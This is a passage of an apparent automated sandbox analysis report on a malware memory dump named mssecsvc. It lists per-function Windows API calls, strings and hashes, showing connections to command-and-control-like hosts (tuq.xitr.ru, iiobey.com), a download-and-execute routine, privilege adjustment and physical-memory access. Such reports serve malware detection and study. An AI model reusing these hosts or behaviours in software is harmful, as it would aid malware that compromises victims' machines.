                                                                                                • Instruction Fuzzy Hash: 47715D31505205FFEB219F20CC49BBE3BBEEF85715F100068EA0A9E491C7B69F459B59
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA4178 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 192networksleepstringCOMMON
                                                                                                Download Yara Rule
                                                                                                APIs
                                                                                                • lstrlen.KERNEL32(tuq.xitr.ru,?,00000000), ref: 7FEA4057
                                                                                                • gethostbyname.WS2_32(tuq.xitr.ru), ref: 7FEA4066
                                                                                                • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                                                                                                • connect.WS2_32(71757405,7FEA3B09,00000010), ref: 7FEA40B1
                                                                                                • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                                                                                                • wsprintfA.USER32 ref: 7FEA4179
                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003819,71757405,00000000), ref: 7FEA41B4
                                                                                                • CloseHandle.KERNEL32(?,00000000,71757405,7FEA6AA2,00000000,00000000), ref: 7FEA41BD
                                                                                                • GetTickCount.KERNEL32 ref: 7FEA41F6
                                                                                                • Sleep.KERNEL32(00000064,?,00000000,71757405,7FEA6AA2,00000000,00000000), ref: 7FEA428B
                                                                                                • GetTickCount.KERNEL32 ref: 7FEA4294
                                                                                                • closesocket.WS2_32(71757405), ref: 7FEA42B8
                                                                                                • SetEvent.KERNEL32(000002A0,?,00000000), ref: 7FEA42D6
                                                                                                • Sleep.KERNEL32(00007530,?,00000000), ref: 7FEA42F7
                                                                                                • ResetEvent.KERNEL32(000002A0,?,00000000), ref: 7FEA430A
                                                                                                Strings
                                                                                                • C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe, xrefs: 7FEA4178, 7FEA4195, 7FEA41DB
                                                                                                • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                                                                                                • -yX, xrefs: 7FEA414F
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: CountEventSleepTick$CloseCreateHandleResetThreadVersionclosesocketconnectgethostbynamelstrlensocketwsprintf
                                                                                                • String ID: -yX$C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe$C:\WINDOWS\TASKSCHE.EXE
                                                                                                • API String ID: 883794535-2657944509
                                                                                                • Opcode ID: 76922eb7f863b4f87123e600b2d48a0325e63692d2b32f1f917fbf14117c4ef4
                                                                                                • Instruction ID: 62042b7e1d70db51705c832b3ce7fc9885254b828fc8a61664828cce23236026
                                                                                                • Opcode Fuzzy Hash: 76922eb7f863b4f87123e600b2d48a0325e63692d2b32f1f917fbf14117c4ef4
                                                                                                • Instruction Fuzzy Hash: AD71EF75508348BAEB229F3488587EEBFAEEF81314F000608E85A9E1D1C7F66F45D761
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA388E Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 127networksleeptimeCOMMON
                                                                                                Download Yara Rule
                                                                                                APIs
                                                                                                • GetSystemTime.KERNEL32(7FEA7584), ref: 7FEA389F
                                                                                                • Sleep.KERNEL32(0000EA60), ref: 7FEA3911
                                                                                                • InternetGetConnectedState.WININET(?,00000000), ref: 7FEA392A
                                                                                                • gethostbyname.WS2_32(0D278125), ref: 7FEA396C
                                                                                                • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA3981
                                                                                                • ioctlsocket.WS2_32(?,8004667E), ref: 7FEA399A
                                                                                                • connect.WS2_32(?,?,00000010), ref: 7FEA39B3
                                                                                                • Sleep.KERNEL32(?,00000010,BB010002,00000000,8004667E,?,00000001), ref: 7FEA39C1
                                                                                                • closesocket.WS2_32 ref: 7FEA3A20
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: Sleep$ConnectedInternetStateSystemTimeclosesocketconnectgethostbynameioctlsocketsocket
                                                                                                • String ID: iiobey.com
                                                                                                • API String ID: 159131500-1555776582
                                                                                                • Opcode ID: b9cbcd502034ca6391bc477693aeae1c9470f5e239758c46d06d44a479c792e4
                                                                                                • Instruction ID: 863d8d36320b09296de0ef8eaaf11b1bc77ac7fb125708de1e92797cd0aa2464
                                                                                                • Opcode Fuzzy Hash: b9cbcd502034ca6391bc477693aeae1c9470f5e239758c46d06d44a479c792e4
                                                                                                • Instruction Fuzzy Hash: 4641C531604348BEDB218F208C49BE9BB6EEF85714F004159F90AEE1C1DBF79B409720
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA33E0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 220filenativeCOMMON
                                                                                                Download Yara Rule
                                                                                                APIs
                                                                                                • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 7FEA344A
                                                                                                • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 7FEA3469
                                                                                                • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 7FEA3493
                                                                                                • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 7FEA34A0
                                                                                                • UnmapViewOfFile.KERNEL32(?), ref: 7FEA34B8
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                                                                                                • String ID: C:,$\Device\PhysicalMemory
                                                                                                • API String ID: 2985292042-1440550476
                                                                                                • Opcode ID: e2b0c8f568571b3f59211b8063e335b2ad8ba4e779b6cb58c9455f457ca39783
                                                                                                • Instruction ID: 89bc292a39abda77eba81180b1336a71123f95df307fbb064623dea506d6362f
                                                                                                • Opcode Fuzzy Hash: e2b0c8f568571b3f59211b8063e335b2ad8ba4e779b6cb58c9455f457ca39783
                                                                                                • Instruction Fuzzy Hash: 5A817671500208FFEB218F14CC89ABA7BADEF44704F504658ED1A9F295D7F2AF458BA4
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA3405 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 61filenativeCOMMON
                                                                                                Download Yara Rule
                                                                                                APIs
                                                                                                • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 7FEA344A
                                                                                                • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 7FEA3469
                                                                                                • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 7FEA3493
                                                                                                • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 7FEA34A0
                                                                                                • UnmapViewOfFile.KERNEL32(?), ref: 7FEA34B8
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                                                                                                • String ID: C:,$ysic
                                                                                                • API String ID: 2985292042-2852681185
                                                                                                • Opcode ID: 75692eae59ef229a2f56f45455e385a3c03fd5a3a941212ab90a82f7e6085517
                                                                                                • Instruction ID: 20dbb16ab5d0e33e58175ecc7424444a29ed84bf4ea1b595fcedbc50fe00d084
                                                                                                • Opcode Fuzzy Hash: 75692eae59ef229a2f56f45455e385a3c03fd5a3a941212ab90a82f7e6085517
                                                                                                • Instruction Fuzzy Hash: D5115B74140608BFEB21CF10CC55FAA7A7DEF88704F50451CEA1A9E290EBF56F188A68
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA27A7 Relevance: 12.1, APIs: 8, Instructions: 65filenetworkprocessCOMMON
                                                                                                Download Yara Rule
                                                                                                APIs
                                                                                                • GetTempFileNameA.KERNEL32(?,7FEA27A3,00000000,?), ref: 7FEA27A8
                                                                                                • CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27C3
                                                                                                • InternetReadFile.WININET(?,?,00000104), ref: 7FEA27DD
                                                                                                • WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27F3
                                                                                                • CloseHandle.KERNEL32(?,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27FF
                                                                                                • CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,7FEA27A3), ref: 7FEA2823
                                                                                                • InternetCloseHandle.WININET(?), ref: 7FEA2833
                                                                                                • InternetCloseHandle.WININET(00000000), ref: 7FEA283A
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: File$CloseHandleInternet$Create$NameProcessReadTempWrite
                                                                                                • String ID:
                                                                                                • API String ID: 3452404049-0
                                                                                                • Opcode ID: bbf5c5561a5178fb7ef464295b4b729c13e68fcf671b41c3dcb44b7c67eff673
                                                                                                • Instruction ID: 5e72b063bb693ddb0cec3f1fad15b0eca3dde0b314aeb166be0943229ddb0145
                                                                                                • Opcode Fuzzy Hash: bbf5c5561a5178fb7ef464295b4b729c13e68fcf671b41c3dcb44b7c67eff673
                                                                                                • Instruction Fuzzy Hash: 56116DB1100606BBEB250B20CC4AFFB7A6DEF85B14F004519FA06AD080DBF5AB5196A8
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA4C9E Relevance: 8.4, Strings: 6, Instructions: 887COMMON
                                                                                                Download Yara Rule
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: File$AttributesCreate$MappingView
                                                                                                • String ID: !$&$&$($@$nr
                                                                                                • API String ID: 1961427682-1764398444
                                                                                                • Opcode ID: 4c46afcac1279fe60b7ad8de7d26ef5f7e787d8caa1084cd098736f9c8d5cf5b
                                                                                                • Instruction ID: bca8f6cd2247ab830d52cbfbeb418daf1cf8d4f4211366bb0639649643b5476e
                                                                                                • Opcode Fuzzy Hash: 4c46afcac1279fe60b7ad8de7d26ef5f7e787d8caa1084cd098736f9c8d5cf5b
                                                                                                • Instruction Fuzzy Hash: 96823132505309EFDB26CF28C4457B97BBAEF41328F105219D81A8F295D3B6AF94CB81
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA24AE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46stringnativeCOMMON
                                                                                                Download Yara Rule
                                                                                                APIs
                                                                                                • lstrcpyW.KERNEL32(?,\BaseNamedObjects\xnotVt), ref: 7FEA24BA
                                                                                                • lstrlenW.KERNEL32(?), ref: 7FEA24C1
                                                                                                • NtCreateSection.NTDLL(?,0000000E,?,?,00000040,08000000,00000000), ref: 7FEA2516
                                                                                                Strings
                                                                                                • \BaseNamedObjects\xnotVt, xrefs: 7FEA24B8
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: CreateSectionlstrcpylstrlen
                                                                                                • String ID: \BaseNamedObjects\xnotVt
                                                                                                • API String ID: 2597515329-293514951
                                                                                                • Opcode ID: 335ac9ff1cc21ce47c0a6ba15eef738844c923a6a0296d5e9cd705850d9ab313
                                                                                                • Instruction ID: 61e01c0378adecdac9051f6efeba34dc4166e8946507bf1169491ac4fd17fdb3
                                                                                                • Opcode Fuzzy Hash: 335ac9ff1cc21ce47c0a6ba15eef738844c923a6a0296d5e9cd705850d9ab313
                                                                                                • Instruction Fuzzy Hash: C20181B0781304BAF7309B29CC4BF5B7929DF85B50F508558F608AE1C4DAB89A0483A9
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA252F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29nativeCOMMON
                                                                                                Download Yara Rule
                                                                                                APIs
                                                                                                • NtOpenSection.NTDLL(?,0000000E), ref: 7FEA255E
                                                                                                Strings
                                                                                                • \BaseNamedObjects\xnotVt, xrefs: 7FEA254B
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: OpenSection
                                                                                                • String ID: \BaseNamedObjects\xnotVt
                                                                                                • API String ID: 1950954290-293514951
                                                                                                • Opcode ID: 070b698a65d812778bebda462e03455ac2d4d74c25fc029a23958a9dd811b266
                                                                                                • Instruction ID: cc492c20b74137972e1aeb42a549193fdcd5baff80c1f90c3202c4eb3a6ea2fd
                                                                                                • Opcode Fuzzy Hash: 070b698a65d812778bebda462e03455ac2d4d74c25fc029a23958a9dd811b266
                                                                                                • Instruction Fuzzy Hash: A1E0DFF1342105BAFB288B19CC07FB7220DCBC0600F048604F918DA090E6F4AF104278
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA2574 Relevance: 3.1, APIs: 2, Instructions: 66nativeCOMMON
                                                                                                Download Yara Rule
                                                                                                APIs
                                                                                                  • Part of subcall function 7FEA252F: NtOpenSection.NTDLL(?,0000000E), ref: 7FEA255E
                                                                                                • NtMapViewOfSection.NTDLL(00000000,?,?,00000000,0000B7C4,00000000,?,00000002,00100000,00000040), ref: 7FEA25A4
                                                                                                • CloseHandle.KERNEL32(00000000,0000B7C4,00000000,?,00000002,00100000,00000040,00000000,0000B7C4,00000000,?,7FEA0815), ref: 7FEA25AC
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: Section$CloseHandleOpenView
                                                                                                • String ID:
                                                                                                • API String ID: 2731707328-0
                                                                                                • Opcode ID: 7e6d81ae67240a40e11905e7904a542b9946b97cc322a4af05470e0a41c17acf
                                                                                                • Instruction ID: 3cc34a18b6b0f74ef45f64819b33cb598c6401d77195fbf03454f98489c8026e
                                                                                                • Opcode Fuzzy Hash: 7e6d81ae67240a40e11905e7904a542b9946b97cc322a4af05470e0a41c17acf
                                                                                                • Instruction Fuzzy Hash: 9A21F970301646BBDB18DE65CC55FBA7369FF80648F401118E85ABE1D4DBB2BA24C758
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA1422 Relevance: 3.0, APIs: 2, Instructions: 38nativeCOMMON
                                                                                                Download Yara Rule
                                                                                                APIs
                                                                                                • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 7FEA145A
                                                                                                • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 7FEA146A
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                                                                                                • String ID:
                                                                                                • API String ID: 3615134276-0
                                                                                                • Opcode ID: 4d961b29825b6918877cf0b8ca3bbdf1a1a783037955428b050f6265267c3a26
                                                                                                • Instruction ID: ddbff97e699881e74d61e2820170bd54818263a6fff0c1519b9bac5ac29647fb
                                                                                                • Opcode Fuzzy Hash: 4d961b29825b6918877cf0b8ca3bbdf1a1a783037955428b050f6265267c3a26
                                                                                                • Instruction Fuzzy Hash: 5BF0AE36542510BBD7205F56CD8EED77F28EF533A0F144556F4484E151C2624BA5D3F4
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA2477 Relevance: 3.0, APIs: 2, Instructions: 25nativeCOMMON
                                                                                                Download Yara Rule
                                                                                                APIs
                                                                                                • NtProtectVirtualMemory.NTDLL(?,?,?,00000040), ref: 7FEA249B
                                                                                                • NtWriteVirtualMemory.NTDLL ref: 7FEA24A4
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: MemoryVirtual$ProtectWrite
                                                                                                • String ID:
                                                                                                • API String ID: 151266762-0
                                                                                                • Opcode ID: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                                                                                                • Instruction ID: 6bbb67ea70d6ee96dfa5f1d7b4d314b28acc786a60d934acbd3f762ecc45b662
                                                                                                • Opcode Fuzzy Hash: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                                                                                                • Instruction Fuzzy Hash: 2AE012E07502007FF5185F55DC5FF7B391DDB41751F410208FA0A981C4F9A15E18467A
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA144A Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON
                                                                                                Download Yara Rule
                                                                                                APIs
                                                                                                • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 7FEA145A
                                                                                                • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 7FEA146A
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                                                                                                • String ID:
                                                                                                • API String ID: 3615134276-0
                                                                                                • Opcode ID: f45ad7484d04f34a0af0f423c52b42987f710650b5115a9fa6d287fad7b05342
                                                                                                • Instruction ID: ee32c209e3d0a2de55b6acbdbca8a3d00d8b73f2470e3acbbab87dcaf3c2c19a
                                                                                                • Opcode Fuzzy Hash: f45ad7484d04f34a0af0f423c52b42987f710650b5115a9fa6d287fad7b05342
                                                                                                • Instruction Fuzzy Hash: F2D06731643034BBD6312A568C0EEE77D1DEF577A0F015041F9089A1A1C5A28EA1C7F5
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA28C8 Relevance: .1, Instructions: 107COMMON
                                                                                                Download Yara Rule
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: 0642b33d3ce8112a54256d33be083f0dc48b56f423af93a4a8a3c14605054926
                                                                                                • Instruction ID: 599e4210a27b95691828082bf071d632d483ec5813d8a2b375e76b2b2bcd3a21
                                                                                                • Opcode Fuzzy Hash: 0642b33d3ce8112a54256d33be083f0dc48b56f423af93a4a8a3c14605054926
                                                                                                • Instruction Fuzzy Hash: 6A31F5326006158BEB148E38C94079AB7F2FB84704F10C63CE557FB594D676F6898BC0
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA025E Relevance: .0, Instructions: 44COMMON
                                                                                                Download Yara Rule
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: f7f4e525928ea5806404d06a4b8e701954d79f31e6e31511ba1896f006f4b568
                                                                                                • Instruction ID: 8cf39f24423d5da370e13741b7be8b9c9113fec7044c2bfdd62d8bb5389ffb96
                                                                                                • Opcode Fuzzy Hash: f7f4e525928ea5806404d06a4b8e701954d79f31e6e31511ba1896f006f4b568
                                                                                                • Instruction Fuzzy Hash: 47014C326013415FC721DF38CC88FADBBA1FBC4734F118325E6444F18AD633A2818661
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA3F8F Relevance: 40.5, APIs: 19, Strings: 4, Instructions: 224networkthreadlibraryCOMMON
                                                                                                Download Yara Rule

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 830 7fea3f8f-7fea3f97 LoadLibraryA 831 7fea3f9d-7fea3fbc call 7fea10ce 830->831 832 7fea4320-7fea4322 RtlExitUserThread 830->832 831->832 835 7fea3fc2-7fea400b WSAStartup CreateThread CloseHandle CreateEventA 831->835 837 7fea4012-7fea402a call 7fea37fa 835->837 840 7fea402c-7fea402f 837->840 841 7fea4031-7fea4044 call 7fea3b90 837->841 840->841 842 7fea404c-7fea4054 840->842 847 7fea404a 841->847 848 7fea42be-7fea42c5 841->848 844 7fea4056-7fea4063 lstrlen 842->844 845 7fea4065-7fea406e gethostbyname 842->845 844->844 844->845 849 7fea4074-7fea407b 845->849 850 7fea4315-7fea431b 845->850 851 7fea4081-7fea40a0 socket 847->851 848->832 852 7fea42c7-7fea42ce 848->852 849->851 850->837 851->848 853 7fea40a6-7fea40b9 connect 851->853 854 7fea42e2-7fea42e9 852->854 855 7fea42d0-7fea42dc SetEvent 852->855 856 7fea40bf-7fea416e call 7fea273c call 7fea2750 GetVersionExA call 7fea2750 call 7fea3358 call 7fea4178 853->856 857 7fea42b7-7fea42b8 closesocket 853->857 858 7fea42eb 854->858 859 7fea42f2-7fea4310 Sleep ResetEvent 854->859 855->854 870 7fea4170 856->870 871 7fea4195-7fea41a5 call 7fea3358 856->871 857->848 858->859 859->837 873 7fea4192-7fea4194 870->873 874 7fea4172-7fea418c wsprintfA 870->874 877 7fea41c3-7fea41ca 871->877 878 7fea41a7-7fea41bd CreateThread CloseHandle 871->878 873->871 874->873 875 7fea418e 874->875 875->873 879 7fea41d0-7fea41eb 877->879 878->877 881 7fea41ed-7fea41f4 879->881 882 7fea4210-7fea4214 879->882 881->882 883 7fea41f6-7fea4207 GetTickCount 881->883 882->857 884 7fea421a-7fea421c 882->884 883->882 885 7fea4209 883->885 886 7fea421e-7fea4236 884->886 885->882 887 7fea423b-7fea4243 886->887 888 7fea4238 886->888 887->886 889 7fea4245 887->889 888->887 890 7fea424b-7fea424f 889->890 891 7fea4261-7fea4263 890->891 892 7fea4251-7fea4258 call 7fea2f08 890->892 894 7fea4265-7fea426f 891->894 892->857 897 7fea425a 892->897 896 7fea4274-7fea4282 call 7fea6541 call 7fea655b 894->896 896->879 903 7fea4288-7fea4292 Sleep 896->903 897->894 899 7fea425c-7fea425f 897->899 899->890 903->896 904 7fea4294-7fea42a5 GetTickCount 903->904 904->879 905 7fea42ab-7fea42b2 904->905 905->857 905->879
                                                                                                APIs
                                                                                                • LoadLibraryA.KERNEL32(7FEA3F83), ref: 7FEA3F8F
                                                                                                • WSAStartup.WS2_32(00000101), ref: 7FEA3FCE
                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                                                                                                • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                                                                                                • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                                                                                                • lstrlen.KERNEL32(tuq.xitr.ru,?,00000000), ref: 7FEA4057
                                                                                                • gethostbyname.WS2_32(tuq.xitr.ru), ref: 7FEA4066
                                                                                                • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                                                                                                • connect.WS2_32(71757405,7FEA3B09,00000010), ref: 7FEA40B1
                                                                                                • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                                                                                                • wsprintfA.USER32 ref: 7FEA4179
                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003819,71757405,00000000), ref: 7FEA41B4
                                                                                                • CloseHandle.KERNEL32(?,00000000,71757405,7FEA6AA2,00000000,00000000), ref: 7FEA41BD
                                                                                                • GetTickCount.KERNEL32 ref: 7FEA41F6
                                                                                                • RtlExitUserThread.NTDLL(00000000), ref: 7FEA4322
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: CreateThread$CloseHandle$CountEventExitLibraryLoadStartupTickUserVersionconnectgethostbynamelstrlensocketwsprintf
                                                                                                • String ID: -yX$C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe$C:\WINDOWS\TASKSCHE.EXE$tuq.xitr.ru
                                                                                                • API String ID: 3316401344-1377688891
                                                                                                • Opcode ID: ddb8fe4bd5fdd210e26ff7bad9c73aa659b133641d5d7bf307872437a698338a
                                                                                                • Instruction ID: 1da76589fb4dd87b5df105d6ae65f4369b8eb418b0376c81cadce6663e0d34e8
                                                                                                • Opcode Fuzzy Hash: ddb8fe4bd5fdd210e26ff7bad9c73aa659b133641d5d7bf307872437a698338a
                                                                                                • Instruction Fuzzy Hash: 1391EC71508348BEEB229F348859BEE7FAEEF41304F000648E85A9E191C3F66F45DB65
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA3EB5 Relevance: 35.3, APIs: 15, Strings: 5, Instructions: 276networklibrarythreadCOMMON
                                                                                                Download Yara Rule

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
